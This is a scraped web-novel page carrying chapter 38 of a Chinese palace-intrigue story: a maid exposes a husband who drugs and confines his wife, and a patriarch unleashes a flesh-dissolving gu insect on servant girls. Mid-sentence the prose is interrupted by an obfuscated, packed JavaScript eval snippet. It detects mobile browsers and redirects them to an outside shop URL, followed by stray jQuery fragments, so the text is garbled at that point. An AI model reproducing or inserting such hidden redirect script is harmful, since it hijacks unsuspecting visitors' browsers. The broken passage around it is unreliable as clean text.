默认冷灰
24号文字
方正启体

38. 第三十八章

作者:江重草本书字数:K更新时间:
    “碧痕丫头,你先去院子外头去避一阵子,这段时间府上太多事,公子左右烦心了些,过些日子等安静下来,我再去求夫人把你从外头接进来。”银屏,也就是周氏身边的婆子慈爱地抚摸着自家侄女的脑袋,面带愧疚地道。


    碧痕一把抓住银屏正在收拾包裹的手腕,手底下的皮肤松弛绵软,透出岁月的味道:“姨妈,我想要见夫人。”


    她口中的夫人指的是云桓的母亲周氏。她神情慌张,眼神游移不定,带着泪花,却透着不容拒绝的意味。


    今日是周氏吃斋念佛的日子,她会整日呆在后院的庙宇里,不允许旁人打扰。自小跟在银屏身后的碧痕怎会不知道周氏的规矩,可是如今她已然没了别的办法。


    银屏叹了口气,道:“这次公子发了大火气,纵然是求到夫人头上也怕是无济于事。难道你当我我没求过吗……”


    碧痕想起那日云桓手中攥着一封信回到院中时,面上那阴恻恻的神情,心中也是一阵后怕,看死人一般的眼神扫到她身上,就得到了一个“扫地出府,违者打死”的去向。


    她愈发感受到府上风雨欲来的气势,却不敢就这么一走了之。那个魁梧的宫女给她喂了毒药,若是没有完成任务就这么被赶出府去,拿不到解药的话……到时候都可能连累姨妈……


    碧痕一颤,不敢赌这种可能性。她再次坚定开口:“我一定要见到夫人。”


    因着她与姨妈的关系,她才能获得两日的收拾时间,若是等到真的出府后,她就真的没有任何法子可以努力了。


    银屏终是抵挡不住小辈的再三恳求,想到当初让碧痕去此后公子也是得到自己的劝说,如今得了这样一个下场……她心中不安,觉得愧对自己的姐姐,还是点了头。


    ……


    后院的小庙内,周氏身着一袭烟灰道袍,头戴乌木如意簪,周身再无其他。


    她在冉冉升起的香炉前盘腿而坐,面上无悲无喜,倒是像极了堂中的大佛,启唇道:“你非要见我,什么事?”


    碧痕趴伏在地上,后山的阴冷之气不断往身体里钻,冻得她浑身颤抖,她抬头左右看着边上。


    刚从垫子上爬起来的云涟小姐,和负手背对的云家主,一时不知道是否应当开口。


    “夫人……”她望向云家主的方向,一副为难的表情。


    周氏此时正为小女儿的事情烦心,沉香的气味也不能让她的内心平静下来,她皱起眉不耐。


    碧痕知晓不能再拖延,着急道:“奴婢知道惹怒了公子无颜再在府中待下去,但有一事奴婢意外得知,前来告知夫人。”


    她直切主题:“前些日子郁夫人被歹人掳走时公子拿到了一封信件,信件烧毁到一半时奴婢正巧碰见以为是意外起火就给抢救了下来。一拼凑,不成想……是郁夫人写的和离书。”


    此话一出,周氏眉头竖起,就连站在窗边透气的云敏达和啜泣的云涟都投来目光。


    “这本不是奴婢可以打听的事情,可是奴婢总在院中进出难免听到公子谈话,奴婢听到……公子让阿松将夫人的贴身丫鬟抓起来,还给夫人喂了迷药……”


    “大胆奴婢,满口胡诌!”周氏严厉的语气阻止了碧痕继续说,把她吓得往后虚空一躲,噤声了。


    公主给她的任务是勾引离间公子和夫人,如今她要被赶出府去早已没了完成任务的可能,若是能够借周氏的手阻止公子,既救下了郁宁卖个人情,又说不准真促成了和离,岂不一举两得。


    她的如意算盘虽打得好,周氏的反应却让她意外。


    “哎呀——”云家主此时却从远处踱步而来,安抚地拍了拍碧痕的肩头将她从湿冷的地面上扶起来,“你不必害怕,继续说。有什么不公道的事,就算是云桓做的也如实说来,定有人做主。可你若是胡说八道……”后面的话意味明显。


    碧痕再次跪下,道:“奴婢不敢说谎,奴婢亲耳所闻,郁夫人也有好几日不曾出门了,奴婢深怕公子一气之下做出错事来,这才找了夫人。”


    周氏一言不发,云敏达捋着胡子,慈祥道:“此事我已知晓,好孩子你下去吧。”


    碧痕走后,房间迅速恢复原来冷凝的气氛。云涟忍不住开口:“娘……”


    周氏却扶了扶额头,闭眼不愿多说,道:“不必再说,那只猫也给我送走!”


    “爹……”云敏达却似突然想起了什么重要的政务,步履匆忙地朝着外面走去,“照你娘说的做!我尚有要事在身,先行离去了,夫人……”


    说罢,头也不回就走了,没有任何交谈空间。


    ……


    郁宁又被软禁了两日。


    两日中,院子里始终不曾有人来,就连喂药都是云桓亲自来。郁宁闭着嘴不喝,他就渡。


    每每都弄得狼狈。


    这些日子二皇子谢初阳动作频频,云桓总是被父亲派出去做些事情。今日,亦是如此。他在强迫着喝下药后,交代了护卫一些事项才不舍离去。


    他看见阿宁躺在床上,总是迫切希望她可以清醒过来与他交谈几句。可是,有了这样的机会阿宁总是恶语相向,让他心如刀割,他又迫不及待地想要让她变成安安静静的阿宁。


    只有这样,她才会乖乖地躺在他的怀里。


    云桓走后,黑夜中郁宁的院子迎来了一个稀客——云敏达。


    守在门外的两个侍卫面面相觑,刚才云桓才吩咐完不要放任何人进去,他们都看到了彼此脸上的纠结。


    “怎么了?难道连我都不能进了吗?”云敏达沉声道,他的身后跟着一个年迈的婢女,是他的奶妈。


    虽说男女避嫌,可作为云桓的父亲来看望一下病重的儿媳妇也并非全然不可,这也并非是他们两个下人可以干涉的。


    侍卫们对视一眼,快速退后让开,云敏达带着三两个人进去,人人手上都提着果篮,看起来准备的食物颇为周到丰盛。


    他们虽然受了云桓的命令,可到底云敏达才是家主,老子和小子,他们自然分得清哪个才是老大。


    因此,在云敏达进去后又怡然自得地在门口放哨,不曾有异。


    殊不知,门后的人进门就从内向外锁住,并找来重物堵上大门。


    云敏达派人查看了院子,里面的下人果然早就被云桓清空,只剩下一个年岁尚小的丫鬟守在房门口,还没来得及反应就被钱妈妈,也就是云敏达的奶妈砍晕了。


    郁宁寝房漆黑无声,从外面看来仿佛无人居住。云敏达在外敲了敲门,只剩下木头被敲响的回声。


    他摆了个眼神,钱妈妈跨过倒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373640|196650||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在地上的丫鬟,推门进去。


    屋内寂静无声,月光洒进来照在桌上,她找到烛火点上,这才吹灭了手上的灯盏。看到郁宁衣衫整齐地躺在床上,没有任何苏醒的迹象,这才到门口示意众人进入。


    云敏达带来的全是女子,除了他,倒是没有避嫌一说。


    “开始吧。”烛火照在他沟壑纵横的脸上,平日里温和端方的云家家主面上浮现出近乎疯狂的弧度来,“老天待我云家不薄,我等这一天已经很久了。”


    钱婆婆上前扒出郁宁的手腕,抚上脉感受一会,随后走到桌边打开适才的点心盒取出一碗汤药给昏睡的郁宁灌下。


    乌黑难闻的汤药带着干燥的粉末进入郁宁的喉咙,让她即使在梦中也不由得干呕起来。


    等候在阴影里的丫鬟们纷纷上前按住床上之人胡乱晃动的手脚。片刻之间,案板上疯狂跳动的鱼就安静下来,就连鱼鳞也被人桎梏没有落下一片。


    钱婆婆的面庞淹没在黑暗之中,她浑浊的双眼看向几个帮忙的丫鬟,她们个个是身量娇小、十岁韶华的少女,今日仓促被云敏达召集起来,脸上都布满了仓皇失措,却在家主的威严下不得不听话。


    桌面上,打开的木盒中发出窸窸窣窣的声响,好像针头划过光滑表面,一条两侧长满细腿、状似蜈蚣的长身虫从黑暗中悄然爬出。


    可这声音太小,根本没有引起屋内丫鬟们的注意。


    黏腻的液体在桌面、凳腿、地面留下湿漉漉的痕迹,时有时无,朝着床边的少女而去。


    早已周身洒满避虫粉的云敏达看着虫子抖动着细长的触角够上其中一个女子的裙摆,他眼中燃起欲望和狂热的火焰。


    顷刻之间,那女子莹白的肌肤迅速枯萎,血管变得鼓鼓囊囊。起初,站在她身侧的同伴都没有发现异常,那女子没有发出异响,一下子身躯坍缩下去失去了支撑,她脸朝下埋在发丝和手臂间。


    周遭的少女终于发现不对劲,抬手去探,刚一触上躺下女子的衣物,手下触感坚硬、温热,仿佛隔着一件衣物、一张人皮直接摸上了一具尚存体温的骨架。


    还没等另外两人反应过来,那伸手查看的女子指尖就爬上了奇丑无比的虫子,它比刚才长大了将近三倍,从姑娘的衣缝中钻出,周身鲜红如血,散发着一股铁锈的气味。


    那少女尖叫着跳起来,蛊虫就顺势钻入喉中堵住嚎叫,须臾一张人皮、一副骨架就散落在地上,那两名少女的血与肉竟是在顷刻之间被销蚀殆尽。


    剩下的丫鬟满脸通红,仿佛浑身的骨头都要被抖散,慌乱地踉跄到门口拍着房门,尖着嗓子求助。


    可郁宁的寝室本就在深院,离大门极远,她惊惧得几乎失声,只能发出“啊啊”的惊呼声,拍门的时候也近乎软了手脚。


    云敏达和钱婆婆就静静地站在原地。郁宁安宁地躺在床上,无知无觉。


    那只蛊虫正晃动着脑袋上的胡须辨识着方向,丝滑地朝着瘫软在地上的人滑去。


    眼见那虫子已经攀附上崭新的布鞋鞋面。


    砰的一声,丫鬟身后的门被大力撞开,带着凉意的空气吹进来,还夹杂着侍卫们的呼喊——“小姐,你这是做什么呀!”


    门口,赫然站着云涟和周氏。两个人都是一脸惊讶的模样。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)